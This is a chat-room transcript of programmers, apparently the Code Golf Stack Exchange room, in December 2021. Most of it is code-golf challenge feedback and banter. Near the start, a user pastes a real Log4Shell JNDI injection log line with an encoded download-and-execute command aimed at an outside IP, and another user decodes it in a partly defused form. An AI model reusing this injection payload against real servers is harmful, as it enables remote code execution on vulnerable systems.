The Nineteenth Byte

Redwolf Programs

19:00

Huh, most Log4shell traffic to my server has subsided

Ginger Industries

@RedwolfPrograms nice

Redwolf Programs

Not nice, it was fun to watch :p

Ginger Industries

:\

hyper-neutrino

127.0.0.1 - - [15/Dec/2021 13:20:15] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82NC42OS4zNi4xODU6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNjQuNjkuMzYuMTg1OjgwKXxiYXNo} HTTP/1.0" 200 -

haha, joke's on you, I don't use any logging utility because my code sucks and doesn't follow any conventions

tbh i'm unharmed by a lot of hacks and exploits these days because they attack common frameworks every sane person uses and so since i'm not sane and don't use any of them i don't care xD

4

Redwolf Programs

(curl -s 195.54.160.149:5874/64.69.36.185:80||wget -q -O- 195.54.160.149:5874/64.69.36.185:80)|less

That's what the payload is

hyper-neutrino

19:07

ah

Redwolf Programs

(Changed |bash to |less so people can't be potats and malware themselves)

hyper-neutrino

i have no clue what that does

oh |bash. ok so it just downloads a script. ok

Redwolf Programs

Yeah

Dang, it's blocked on my school wifi so I can't see what that points to

hyper-neutrino

ah

it's empty???

Redwolf Programs

What's empty?

hyper-neutrino

19:10

yeah i ran (...) > test.txt and it's just empty...

Redwolf Programs

I wouldn't recommend doing that...but yeah, I tried curling it and I also get nothing

hyper-neutrino

i mean, yeah, not a great idea to :p

Redwolf Programs

I'm on a VM on a chromebook, so I'm pretty safe, but I probably wouldn't run anything possibly malicious on something that matters

hyper-neutrino

yeah i definitely wouldn't run it but curl / wget shouldn't do anything as long as you don't execute the incoming data right?

Redwolf Programs

Normally no, but all it takes is a typo/wrong copy-paste/bug in curl for things to go badly

hyper-neutrino

19:15

true

caird coinheringaahing

@hyper-neutrino Imagine using anything other than print(...) to log things

hyper-neutrino

^

caird coinheringaahing

Same with debugging

hyper-neutrino

i only learned how to use gdb because it's not convenient to just print() stuff in cpp

but in python i literally just always print

like for my cs project that i just finished earlier i literally just std::cerr << whatever and 2> debug.txt my program

Redwolf Programs

19:33

Any feedback on Worst time complexity in under 100 bytes? The requirement used to be irreducible, but I think this will work better.

emanresu A

Does it have to be deterministic?

(bogo*G64sort go brr)

thejonymyster

i feel like that should be a standard loophole lol

hyper-neutrino

i think that violates "must terminate in a finite amount of time"

even though technically the probability that it terminates approaches 1 as time approaches infinity it's not technically guaranteed to terminate

pxeger

@RedwolfPrograms I think irreducible is more interesting, because otherwise it's probably gonna be "calculate the biggest number in under 90 bytes", and then return the sorted array

thejonymyster

its time complexity though

so thatd be K, right?

or, well, K + your time complexity

pxeger

19:49

I mean, calculate the biggest number in under 90 bytes and do nothing n*that times, or similar

thejonymyster

ah lol

hyper-neutrino

that'd still be linear

pxeger

or calculate Tree(n) or whatever

hyper-neutrino

that, on the other hand, wouldn't :p

pxeger

I basically mean use n as a parameter to generate the large number

thejonymyster

19:50

actually yea, so like. Whats up with that comment mentioning not to do irreducibility? that "loophole" doesnt actually break the challenge

hyper-neutrino

@pxeger oh

thejonymyster

(unless it does)

Ginger Industries

return

thejonymyster

so someone in the sandbox linked this as proof that you shouldn't do irreducible code, but like. the exploit there only lets you make your code arbitrarily /long/

@pxeger i feel like this problem is just with largest time complexity in general actually

Redwolf Programs

It's a problem with largest anything

That's why irreducible, unique bytes only, pristine, etc. exist

thejonymyster

19:55

ahh

wait uh

irreducible vs pristine?

Redwolf Programs

Pristine requires erroring

thejonymyster

ah right ty

Redwolf Programs

If anyone here works with servers and stuff, if I can choose between four 500GB drives in RAID10 or two 1TB drives in RAID1, which is better?

Sandbox Posts

0

A: Sandbox for Proposed Challenges

Title: Make a negative afterimage We've all seen the strange, inverted-color images of the American Flag or similar that look correct after you stare at them for a minute and look at a white object. These are called negative afterimages. Your Challenge Given an image as input, your program should...

pxeger

the former will be faster

unless the 1TB drives are somehow much faster than the 500GB drives

and if you're setting up RAID yourself, then go for the second option because it's much easier to recover if when you break the RAID config

New Posts

20:17

0

Q: Get all binary between a binary string and its reverse

Your Challenge is to take a binary string as input and get all binary numbers between itself and the reverse of its string representation. The number representation of the binary should be always in ascending order Test Cases Input: (1 or 0) Output: None, string and its reverse are identical Inp...

Redwolf Programs

Ooh, RAID5 might be an option too

Three 500gb drives would give me 1tb total

emanresu A

Such maths...

3 * 500 definitely = 1024

Redwolf Programs

The speed advantage isn't as good, but then again all my server does is absorb dust from nearby surfaces

@emanresuA That's a TiB, not a TB

Tibibyte sounds funny, but drives almost never use the binary units

emanresu A

Redwolf Programs

@NewPosts I love how their username is "leo-but-not-the-other-guy"

DLosc

20:23

Not that this is a bad thing, but you welcomed them once before ;)

Redwolf Programs

Oh frick, I forgot FQ isn't always new users

DLosc

I remembered seeing the name previously

Redwolf Programs

I felt like I remembered another leo with a long name like that, but idk

emanresu A

Leonardo Fochesato Michelon, Vacaria, RS, Brazil

1

DLosc

The comments here are hilarious X^D

Redwolf Programs

20:39

Yep :p

emanresu A

@RedwolfPrograms You used z before assiging it :p

Redwolf Programs

Nuh uh

hyper-neutrino

this IO format is annoying

almost 200% overhead

emanresu A

Vyxal zfill go brr

(If I need it, hoping I don't)

hyper-neutrino

any time strings exist jelly suffers

thejonymyster

20:45

@hyper-neutrino which io format?

emanresu A

@hyper-neutrino Vanilla js go brr

@RedwolfPrograms Still doesn't seem to work - gives [2] for 0100

hyper-neutrino

@thejonymyster new challenge

Redwolf Programs

@emanresuA hmm

New Posts

0

Q: Badge progress circle misalinged

The double circle is partly outside the box. Is this a bug? I am using Edge, Windows 10.

bug badges

Redwolf Programs

Oh I see the issue

thejonymyster

20:51

@hyper-neutrino the binary one? i guess i can see that, allowing a number input would nice, someone should comment

Redwolf Programs

Bit arrays aren't even permitted, so numbers certainly won't

thejonymyster

oh wait, number wouldnt work because of how the challenge works

since it accounts for leading 0s hm

emanresu A

It's basically exclusive range with a binary element.

I kinda want to vtc but not sre what as

pxeger

I wish there was an option to vtc as bad

but I'll just downvote for now

Redwolf Programs

"vtc as bad"

You are missing the point of vtcing

By so much

pxeger

21:00

you are missing the joke

Redwolf Programs

Yeah, except that's actually common thing for people to do

Using vtcs as super-downvotes

pxeger

@emanresuA bounty reminder

hyper-neutrino

> After seeing some of the solutions i have removed the requirement of the number representation of the binary being in ascending order

wait, what does it even mean number representation of the binary being in ascending order, just like, the output range has to be in the correct order?

or was there another requirement?

pxeger

@hyper-neutrino yes, the output range

Redwolf Programs

@hyper-neutrino Yeah

hyper-neutrino

21:02

hm. okay

emanresu A

@pxeger There you go, enjoy the repcap hat

pxeger

bounties don't count towards the repcap

but thanks lol

DLosc

+10 bytes for zero-padding, oof

emanresu A

+4 bytes for zero-padding, oof

thejonymyster

do we have a challenge for the like, make an ascii art of an input number where each digit is drawn using that digit?

eg input 12, output
1 222
1 2
1 222
1 2
1 222

but like, not pwned by formatting lolol

cba to fix

emanresu A

21:17

?

thejonymyster

yea like that

maybe not necessarily in that exact shape but you get the idea

Adám

I'm very sure we do.

thejonymyster

ill search later then lol

emanresu A

21:32

Any feedback?

Adám

@emanresuA The gif needs a pause (i.e. many identical frames at beginning and end). Otherwise it is hard to discern where the beginning is.

emanresu A

Sure.

Adám

@emanresuA Are we allowed to use digit lists instead of numbers?

E.g. take [4,3,2,6] as input and return

[[1,0,0,0],
 [2,0,0,0],
 [3,0,0,0],
 [4,0,0,0],
 [4,1,0,0],
 [4,2,0,0],
 [4,3,0,0],
 [4,3,1,0],
 [4,3,2,0],
 [4,3,2,1],
 [4,3,2,2],
 [4,3,2,3],
 [4,3,2,4],
 [4,3,2,5],
 [4,3,2,6]]

emanresu A

21:48

Sure!

Redwolf Programs

grandBagel

@thejonymyster Take input as a string?

Adám

@grandBagel That's allowed by default.

@emanresuA Aw, I have such a neat (imo) answer. When will you post already‽

grandBagel

@emanresuA Take input as basex?

emanresu A

@Adám Once I've finished making the gif...

Adám

21:51

jk

@emanresuA Nice, but too fast now.

tjjfvi

Also, the 1 isn't the same width as the other numerals

Nor the 7

emanresu A

I know, there's nothing I can really do about that...

tjjfvi

Wait, the 7 is fine

Adám

@emanresuA Wait, why? I can make a gif like that.

emanresu A

Oh wait... I can just screen record the reference implementation

tjjfvi

22:02

The gif is cute but IMO the snippet is sufficient

Adám

Agreed.

tjjfvi

~~Also, the snippet is cute but IMO a code block would be sufficient~~

Adám

It'd be nice to list results (of at least the 47) vertically. Then it is easier to spot the pattern.

tjjfvi

I think both would be good

At minimum I think you should include ^ for people who e.g. can't hit imgur

Adám

@emanresuA Maybe specify that n is strictly positive?

tjjfvi

22:07

Also, it seems like 0 should come first

Adám

That's optional (which is good, imo).

emanresu A

Snippet updated

@Adám Yep

Should n be able to be zero?

tjjfvi

@Adám Ah, missed that

@emanresuA In that case, would both [] and [0] be valid outputs?

Adám

@emanresuA No. Including edge cases for completeness is an official thing to avoid.

tjjfvi

You should s/number/non-negative integer/ or s/number/positive integer/ in a couple places

emanresu A

22:10

@Adám Ok, wasn't sure whether it was an edgecase

@tjjfvi Done

tjjfvi

@emanresuA Well, it is on the edge of the domain :P

You removed the gif from your answer but still mention "the gif is just to demonstrate"

emanresu A

Fixe

tjjfvi

Maybe concatenate the CSS and HTML each into one line for compactness

The JS, too, unless you're intentionally leaving that readable

emanresu A

@tjjfvi Minified the animation bit of JS, left the generation bit readable

Also, how do you wear multiple hats?

Adám

My solution fails on an edge case (one of the test cases) :-(

@emanresuA Maybe add a single-digit test case, e.g. 9?

And one that ends with 0.

emanresu A

22:24

Done

Adám

And my issue was fixed, so I'm all for posting. I love this challenge.

@emanresuA JS fails for me now.

Error: {
  "message": "TypeError: values.join(...) is not a function",
  "filename": "https://stacksnippets.net/js",
  "lineno": 22,
  "colno": 3
}

tjjfvi

ASI hazard

Put a semi before the (function next(){...

emanresu A

Oh, thanks

Adám

@emanresuA I'd show the 47 example in a code block rather than MathJax.

tjjfvi

Agreed, especially with the ugly wrapping

emanresu A

22:34

Done

Adám

@emanresuA No, code block, not inline code.

And I don't think the JS impl. needs to print all numbers, just animate (slightly slower).

emanresu A

31 mins ago, by Adám

It'd be nice to list results (of at least the 47) vertically. Then it is easier to spot the pattern.

tjjfvi

That codeblock seems redundant with the test cases

I think Adám is looking for the 47 test case to be displayed vertically

emanresu A

78

A: Things to avoid when writing challenges

Rules inferred from test cases Test cases are examples for people to check their understanding of the spec and the correctness of their code. They should not replace an explanation of how the output must relate to the input. (There are rare exceptions where it's straightforward, like a scaling AS...

@tjjfvi Oh

tjjfvi

e.g. ^

emanresu A

22:38

Done that

tjjfvi

@tjjfvi I mean that presenting the testcase for 47 in an array like that, in that paragraph, provides no greater value than if that was just one of the test cases

Adám

Error: {
  "message": "TypeError: countTo.map(...) is not a function",
  "filename": "https://stacksnippets.net/js",
  "lineno": 22,
  "colno": 3
}

tjjfvi

10 mins ago, by tjjfvi

Put a semi before the (function next(){...

emanresu A

Oops, I had a semi but commented out that line

tjjfvi

That's why you put the semi at the beginning of the hazardous line ;)

Adám

22:41

@emanresuA Re-sort your test cases.

emanresu A

Lol this has so many edits

Adám

This will be so awesome.

I'd slow down the animation even more.

tjjfvi

Suggested test case: 1001

emanresu A

@Adám Better?

tjjfvi

Suggested test case: 1000

Adám

22:44

@emanresuA Yes.

@tjjfvi Good call!

emanresu A

Hm, the system consolidates multiple minor edits into one larger one

Adám

Nice.

@emanresuA It is because we genuinely care. Best challenge I've seen in a while.

tjjfvi

Your test case for 1001 is missing a space after the comma

As is 4

And 320

4 and 320 both use : instead of =>

emanresu A

All fixed

Adám

I've got my answer on the clipboard.

emanresu A

22:48

How many bytes?

Adám

Seriously, when was the last time a +4/−0 was in the sandbox?

@emanresuA 24

I can't exclude that there's a way better way to do it.

emanresu A

@Adám About a month ago

Adám

OK.

emanresu A

number code-golf, anything else?

Adám

sequence?

Maybe even combinatorics?

emanresu A

22:52

Why that one?

Adám

It is about combining each possibility for each position…

Ooh, I might have an entirely different approach, now that I mentioned that.

emanresu A

Sure.

New Posts

0

Q: Converge to a number

Your challenge is to, given a positive integer n, count up to each digit of it, giving the effect of converging on it. Basically, count up to the first digit of n by its place value (\$⌊\log_{10}\left(x\right)⌋\$). Then do the same for each subsequent digit, but with the values of the previous di...

code-golf number sequence combinatorics

Adám

23:06

I must be missing something.

Redwolf Programs

@emanresuA counting

Adám

@RedwolfPrograms No, that's "counting the number of occurrences"

emanresu A

o/ for now

Jo King

23:26

CMQ: who looks like they're having more fun, the people in the winter bash or the ones in the summer bash?

Redwolf Programs

Winter

Adám

@JoKing Winter. There's nothing funnier than seeing penguins during the southern summer.

Jo King

23:44

"on no, they've escaped from the zoo again"

Adám

Do polar bears eat penguins?

Jo King

> I tried to find any instances of polar bears eating a penguin at a zoo but was unable to find anything. I suspect if it has ever happened, it was hushed up to avoid the horrible publicity it would cause.

Adám

Polar bear population in Poland? (Polish polar bears.)

Redwolf Programs

No those would be polish bears, silly

(ninja'd :()

emanresu A

Does it count as a ninja if it's an edit?

Adám

23:53

How many Poles can a polar bear eat?

Can a polar bear climb a pole?

What's the polarity of a polar bear?

— It is clearly a south pole, since it likes being close to the north pole.

grandBagel

@Adám lol

Transcript for